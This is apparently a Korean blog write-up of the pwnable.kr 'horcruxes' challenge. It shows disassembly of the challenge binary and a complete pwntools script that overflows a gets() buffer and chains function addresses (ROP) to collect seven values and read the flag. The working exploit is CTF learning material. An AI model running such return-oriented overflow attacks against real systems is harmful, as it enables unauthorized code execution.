해설
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
rop 문제인 것 같다. 접속해보면 horcruxes라는 바이너리가 있다. 어셈 코드를 확인해보면, main에서 ropme라는 함수를 호출한다. ropme의 어셈 코드를 확인해보자
Dump of assembler code for function ropme:
0x080a0009 <+0>: push ebp
0x080a000a <+1>: mov ebp,esp
0x080a000c <+3>: sub esp,0x78
0x080a000f <+6>: sub esp,0xc
0x080a0012 <+9>: push 0x80a050c
0x080a0017 <+14>: call 0x809fc40 <printf@plt>
0x080a001c <+19>: add esp,0x10
0x080a001f <+22>: sub esp,0x8
0x080a0022 <+25>: lea eax,[ebp-0x10]
0x080a0025 <+28>: push eax
0x080a0026 <+29>: push 0x80a0519
0x080a002b <+34>: call 0x809fd10 <__isoc99_scanf@plt>
0x080a0030 <+39>: add esp,0x10
0x080a0033 <+42>: call 0x809fc70 <getchar@plt>
0x080a0038 <+47>: mov edx,DWORD PTR [ebp-0x10]
0x080a003b <+50>: mov eax,ds:0x80a2088
0x080a0040 <+55>: cmp edx,eax
0x080a0042 <+57>: jne 0x80a004e <ropme+69>
0x080a0044 <+59>: call 0x809fe4b <A>
0x080a0049 <+64>: jmp 0x80a0170 <ropme+359>
0x080a004e <+69>: mov edx,DWORD PTR [ebp-0x10]
0x080a0051 <+72>: mov eax,ds:0x80a2070
0x080a0056 <+77>: cmp edx,eax
0x080a0058 <+79>: jne 0x80a0064 <ropme+91>
0x080a005a <+81>: call 0x809fe6a <B>
0x080a005f <+86>: jmp 0x80a0170 <ropme+359>
0x080a0064 <+91>: mov edx,DWORD PTR [ebp-0x10]
0x080a0067 <+94>: mov eax,ds:0x80a2084
0x080a006c <+99>: cmp edx,eax
0x080a006e <+101>: jne 0x80a007a <ropme+113>
0x080a0070 <+103>: call 0x809fe89 <C>
0x080a0075 <+108>: jmp 0x80a0170 <ropme+359>
0x080a007a <+113>: mov edx,DWORD PTR [ebp-0x10]
0x080a007d <+116>: mov eax,ds:0x80a206c
0x080a0082 <+121>: cmp edx,eax
0x080a0084 <+123>: jne 0x80a0090 <ropme+135>
0x080a0086 <+125>: call 0x809fea8 <D>
0x080a008b <+130>: jmp 0x80a0170 <ropme+359>
0x080a0090 <+135>: mov edx,DWORD PTR [ebp-0x10]
0x080a0093 <+138>: mov eax,ds:0x80a2080
0x080a0098 <+143>: cmp edx,eax
0x080a009a <+145>: jne 0x80a00a6 <ropme+157>
0x080a009c <+147>: call 0x809fec7 <E>
0x080a00a1 <+152>: jmp 0x80a0170 <ropme+359>
0x080a00a6 <+157>: mov edx,DWORD PTR [ebp-0x10]
0x080a00a9 <+160>: mov eax,ds:0x80a2074
0x080a00ae <+165>: cmp edx,eax
0x080a00b0 <+167>: jne 0x80a00bc <ropme+179>
0x080a00b2 <+169>: call 0x809fee6 <F>
0x080a00b7 <+174>: jmp 0x80a0170 <ropme+359>
0x080a00bc <+179>: mov edx,DWORD PTR [ebp-0x10]
0x080a00bf <+182>: mov eax,ds:0x80a207c
0x080a00c4 <+187>: cmp edx,eax
0x080a00c6 <+189>: jne 0x80a00d2 <ropme+201>
0x080a00c8 <+191>: call 0x809ff05 <G>
0x080a00cd <+196>: jmp 0x80a0170 <ropme+359>
0x080a00d2 <+201>: sub esp,0xc
0x080a00d5 <+204>: push 0x80a051c
0x080a00da <+209>: call 0x809fc40 <printf@plt>
0x080a00df <+214>: add esp,0x10
0x080a00e2 <+217>: sub esp,0xc
0x080a00e5 <+220>: lea eax,[ebp-0x74]
0x080a00e8 <+223>: push eax
0x080a00e9 <+224>: call 0x809fc50 <gets@plt>
0x080a00ee <+229>: add esp,0x10
0x080a00f1 <+232>: sub esp,0xc
0x080a00f4 <+235>: lea eax,[ebp-0x74]
0x080a00f7 <+238>: push eax
0x080a00f8 <+239>: call 0x809fd20 <atoi@plt>
0x080a00fd <+244>: add esp,0x10
0x080a0100 <+247>: mov edx,eax
0x080a0102 <+249>: mov eax,ds:0x80a2078
0x080a0107 <+254>: cmp edx,eax
0x080a0109 <+256>: jne 0x80a0160 <ropme+343>
0x080a010b <+258>: sub esp,0x8
0x080a010e <+261>: push 0x0
0x080a0110 <+263>: push 0x80a053c
0x080a0115 <+268>: call 0x809fcc0 <open@plt>
0x080a011a <+273>: add esp,0x10
0x080a011d <+276>: mov DWORD PTR [ebp-0xc],eax
0x080a0120 <+279>: sub esp,0x4
0x080a0123 <+282>: push 0x64
0x080a0125 <+284>: lea eax,[ebp-0x74]
0x080a0128 <+287>: push eax
0x080a0129 <+288>: push DWORD PTR [ebp-0xc]
0x080a012c <+291>: call 0x809fc30 <read@plt>
0x080a0131 <+296>: add esp,0x10
0x080a0134 <+299>: mov BYTE PTR [ebp+eax*1-0x74],0x0
0x080a0139 <+304>: sub esp,0xc
0x080a013c <+307>: lea eax,[ebp-0x74]
0x080a013f <+310>: push eax
0x080a0140 <+311>: call 0x809fca0 <puts@plt>
0x080a0145 <+316>: add esp,0x10
0x080a0148 <+319>: sub esp,0xc
0x080a014b <+322>: push DWORD PTR [ebp-0xc]
0x080a014e <+325>: call 0x809fd30 <close@plt>
0x080a0153 <+330>: add esp,0x10
0x080a0156 <+333>: sub esp,0xc
0x080a0159 <+336>: push 0x0
0x080a015b <+338>: call 0x809fcb0 <exit@plt>
0x080a0160 <+343>: sub esp,0xc
0x080a0163 <+346>: push 0x80a0544
0x080a0168 <+351>: call 0x809fca0 <puts@plt>
0x080a016d <+356>: add esp,0x10
0x080a0170 <+359>: mov eax,0x0
0x080a0175 <+364>: leave
0x080a0176 <+365>: ret
코드를 보면 정수 입력을 받아서 A~G 함수 중 하나를 실행하거나, 경험치를 얼마 모았는지를 물어보는 출력문과 함께 gets로 스트링 입력을 받는데, 이 때 0x80a2078에 저장된 값과 비교하여 같을 경우 flag 값을 출력하도록 되어 있다. A부터 G 함수까지의 내용을 살펴보면, 호크룩스(해리포터를 안봤으면 모를수도 있다)를 모았다는 말과 함께 경험치를 얼마 얻었는지를 출력해준다.
여기까지 보고 유추해보면, A부터 G까지의 모든 호크룩스를 모아서 그 경험치 값을 더한 값이 아마 0x80a2078에 있는 값인것 같은데, 정말 맞는지 확인해보자 main에는 init_ABCDEFG라는 함수가 있다.
Dump of assembler code for function init_ABCDEFG:
0x080a0177 <+0>: push ebp
0x080a0178 <+1>: mov ebp,esp
0x080a017a <+3>: sub esp,0x18
0x080a017d <+6>: sub esp,0x8
0x080a0180 <+9>: push 0x0
0x080a0182 <+11>: push 0x80a0577
0x080a0187 <+16>: call 0x809fcc0 <open@plt>
0x080a018c <+21>: add esp,0x10
0x080a018f <+24>: mov DWORD PTR [ebp-0xc],eax
0x080a0192 <+27>: sub esp,0x4
0x080a0195 <+30>: push 0x4
0x080a0197 <+32>: lea eax,[ebp-0x10]
0x080a019a <+35>: push eax
0x080a019b <+36>: push DWORD PTR [ebp-0xc]
0x080a019e <+39>: call 0x809fc30 <read@plt>
0x080a01a3 <+44>: add esp,0x10
0x080a01a6 <+47>: cmp eax,0x4
0x080a01a9 <+50>: je 0x80a01c5 <init_ABCDEFG+78>
0x080a01ab <+52>: sub esp,0xc
0x080a01ae <+55>: push 0x80a0584
0x080a01b3 <+60>: call 0x809fca0 <puts@plt>
0x080a01b8 <+65>: add esp,0x10
0x080a01bb <+68>: sub esp,0xc
0x080a01be <+71>: push 0x0
0x080a01c0 <+73>: call 0x809fcb0 <exit@plt>
0x080a01c5 <+78>: sub esp,0xc
0x080a01c8 <+81>: push DWORD PTR [ebp-0xc]
0x080a01cb <+84>: call 0x809fd30 <close@plt>
0x080a01d0 <+89>: add esp,0x10
0x080a01d3 <+92>: mov eax,DWORD PTR [ebp-0x10]
0x080a01d6 <+95>: sub esp,0xc
0x080a01d9 <+98>: push eax
0x080a01da <+99>: call 0x809fcd0 <srand@plt>
0x080a01df <+104>: add esp,0x10
0x080a01e2 <+107>: call 0x809fd00 <rand@plt>
0x080a01e7 <+112>: imul edx,eax,0xdeadbeef
0x080a01ed <+118>: cmp edx,0xcafebabe
0x080a01f3 <+124>: setae al
0x080a01f6 <+127>: movzx eax,al
0x080a01f9 <+130>: imul eax,eax,0xcafebabe
0x080a01ff <+136>: sub edx,eax
0x080a0201 <+138>: mov eax,edx
0x080a0203 <+140>: mov ds:0x80a2088,eax
0x080a0208 <+145>: call 0x809fd00 <rand@plt>
0x080a020d <+150>: imul edx,eax,0xdeadbeef
0x080a0213 <+156>: cmp edx,0xcafebabe
0x080a0219 <+162>: setae al
0x080a021c <+165>: movzx eax,al
0x080a021f <+168>: imul eax,eax,0xcafebabe
0x080a0225 <+174>: sub edx,eax
0x080a0227 <+176>: mov eax,edx
0x080a0229 <+178>: mov ds:0x80a2070,eax
0x080a022e <+183>: call 0x809fd00 <rand@plt>
0x080a0233 <+188>: imul edx,eax,0xdeadbeef
0x080a0239 <+194>: cmp edx,0xcafebabe
0x080a023f <+200>: setae al
0x080a0242 <+203>: movzx eax,al
0x080a0245 <+206>: imul eax,eax,0xcafebabe
0x080a024b <+212>: sub edx,eax
0x080a024d <+214>: mov eax,edx
0x080a024f <+216>: mov ds:0x80a2084,eax
0x080a0254 <+221>: call 0x809fd00 <rand@plt>
0x080a0259 <+226>: imul edx,eax,0xdeadbeef
0x080a025f <+232>: cmp edx,0xcafebabe
0x080a0265 <+238>: setae al
0x080a0268 <+241>: movzx eax,al
0x080a026b <+244>: imul eax,eax,0xcafebabe
0x080a0271 <+250>: sub edx,eax
0x080a0273 <+252>: mov eax,edx
0x080a0275 <+254>: mov ds:0x80a206c,eax
0x080a027a <+259>: call 0x809fd00 <rand@plt>
0x080a027f <+264>: imul edx,eax,0xdeadbeef
0x080a0285 <+270>: cmp edx,0xcafebabe
0x080a028b <+276>: setae al
0x080a028e <+279>: movzx eax,al
0x080a0291 <+282>: imul eax,eax,0xcafebabe
0x080a0297 <+288>: sub edx,eax
0x080a0299 <+290>: mov eax,edx
0x080a029b <+292>: mov ds:0x80a2080,eax
0x080a02a0 <+297>: call 0x809fd00 <rand@plt>
0x080a02a5 <+302>: imul edx,eax,0xdeadbeef
0x080a02ab <+308>: cmp edx,0xcafebabe
0x080a02b1 <+314>: setae al
0x080a02b4 <+317>: movzx eax,al
0x080a02b7 <+320>: imul eax,eax,0xcafebabe
0x080a02bd <+326>: sub edx,eax
0x080a02bf <+328>: mov eax,edx
0x080a02c1 <+330>: mov ds:0x80a2074,eax
0x080a02c6 <+335>: call 0x809fd00 <rand@plt>
0x080a02cb <+340>: imul edx,eax,0xdeadbeef
0x080a02d1 <+346>: cmp edx,0xcafebabe
0x080a02d7 <+352>: setae al
0x080a02da <+355>: movzx eax,al
0x080a02dd <+358>: imul eax,eax,0xcafebabe
0x080a02e3 <+364>: sub edx,eax
0x080a02e5 <+366>: mov eax,edx
0x080a02e7 <+368>: mov ds:0x80a207c,eax
0x080a02ec <+373>: mov edx,DWORD PTR ds:0x80a2088
0x080a02f2 <+379>: mov eax,ds:0x80a2070
0x080a02f7 <+384>: add edx,eax
0x080a02f9 <+386>: mov eax,ds:0x80a2084
0x080a02fe <+391>: add edx,eax
0x080a0300 <+393>: mov eax,ds:0x80a206c
0x080a0305 <+398>: add edx,eax
0x080a0307 <+400>: mov eax,ds:0x80a2080
0x080a030c <+405>: add edx,eax
0x080a030e <+407>: mov eax,ds:0x80a2074
0x080a0313 <+412>: add edx,eax
0x080a0315 <+414>: mov eax,ds:0x80a207c
0x080a031a <+419>: add eax,edx
0x080a031c <+421>: mov ds:0x80a2078,eax
0x080a0321 <+426>: nop
0x080a0322 <+427>: leave
0x080a0323 <+428>: ret
End of assembler dump.
코드를 확인해보면 추측이 맞았음을 알 수 있는데, 랜덤으로 7개의 값(A~G)을 초기화하고, 이를 모두 더해서 0x80a2078에 저장한다.
즉, 우리는 A부터 G까지의 함수를 rop를 통해 몽땅 실행하고, 경험치 출력값을 모두 더해서 마지막에 던져주면 될 것 같다. 마침 gets 함수가 있어서 오버플로우도 일으킬 수 있겠다, 스택의 리턴 주소를 조작해서 rop를 하면 된다. 심지어 A부터 G까지의 함수들은 인자도 없기 때문에, rop 가젯이 필요없이 그냥 스택에 각 함수들의 주소만 차곡차곡 쌓으면 된다.
익스플로잇 코드는 다음과 같다.
from pwn import *
p = remote("localhost", 9032)
sum = 0
payload = "A"*120 + "\x4b\xfe\x09\x08" + "\x6a\xfe\x09\x08" + "\x89\xfe\x09\x08" + "\xa8\xfe\x09\x08" + "\xc7\xfe\x09\x08" + "\xe6\xfe\x09\x08" + "\x05\xff\x09\x08" + "\xfc\xff\x09\x08"
print(p.recvuntil("Select Menu:"))
p.sendline("1")
print(p.recvuntil("How many EXP did you earned? : "))
p.sendline(payload)
print(p.recvuntil("EXP +"))
a = long(p.recvuntil(")")[:-1])
print(a)
print(p.recvuntil("EXP +"))
sum = sum + a
b = long(p.recvuntil(")")[:-1])
print(b)
print(p.recvuntil("EXP +"))
sum = sum + b
c = long(p.recvuntil(")")[:-1])
print(c)
print(p.recvuntil("EXP +"))
sum = sum + c
d = long(p.recvuntil(")")[:-1])
print(d)
print(p.recvuntil("EXP +"))
sum = sum + d
e = long(p.recvuntil(")")[:-1])
print(e)
print(p.recvuntil("EXP +"))
sum = sum + e
f = long(p.recvuntil(")")[:-1])
print(f)
print(p.recvuntil("EXP +"))
sum = sum + f
g = long(p.recvuntil(")")[:-1])
print(g)
sum = sum + g
sum = sum & 0xFFFFFFFF
if(sum & 0x80000000):
sum = -0x100000000 + sum
print(p.recvuntil("Select Menu:"))
p.sendline("1")
print(p.recvuntil("How many EXP did you earned? : "))
sum = str(sum)
print(sum)
p.sendline(sum)
print(p.recvline())
이로써 toddler 단계의 모든 문제에 대한 writeup을 작성했다. 사실 toddler 단계는 예전에 풀었던 것을 다시 풀면서 정리한 것이기 때문에 매끄럽게 정리 할 수 있었는데, rookie 부터는 그렇게 할 수 있을지는 잘 모르겠다. rookie 문제 부터는 의식의 흐름을 최대한 반영해서 글을 작성해야겠다
'pwn' 카테고리의 다른 글
pwnable.kr - echo1 (0) | 2021.02.25 |
---|---|
pwnable.kr - fsb (0) | 2021.02.19 |
pwnable.kr - blukat (0) | 2020.08.04 |
pwnable.kr - unlink (0) | 2020.08.04 |
pwnable.kr - asm (0) | 2020.07.22 |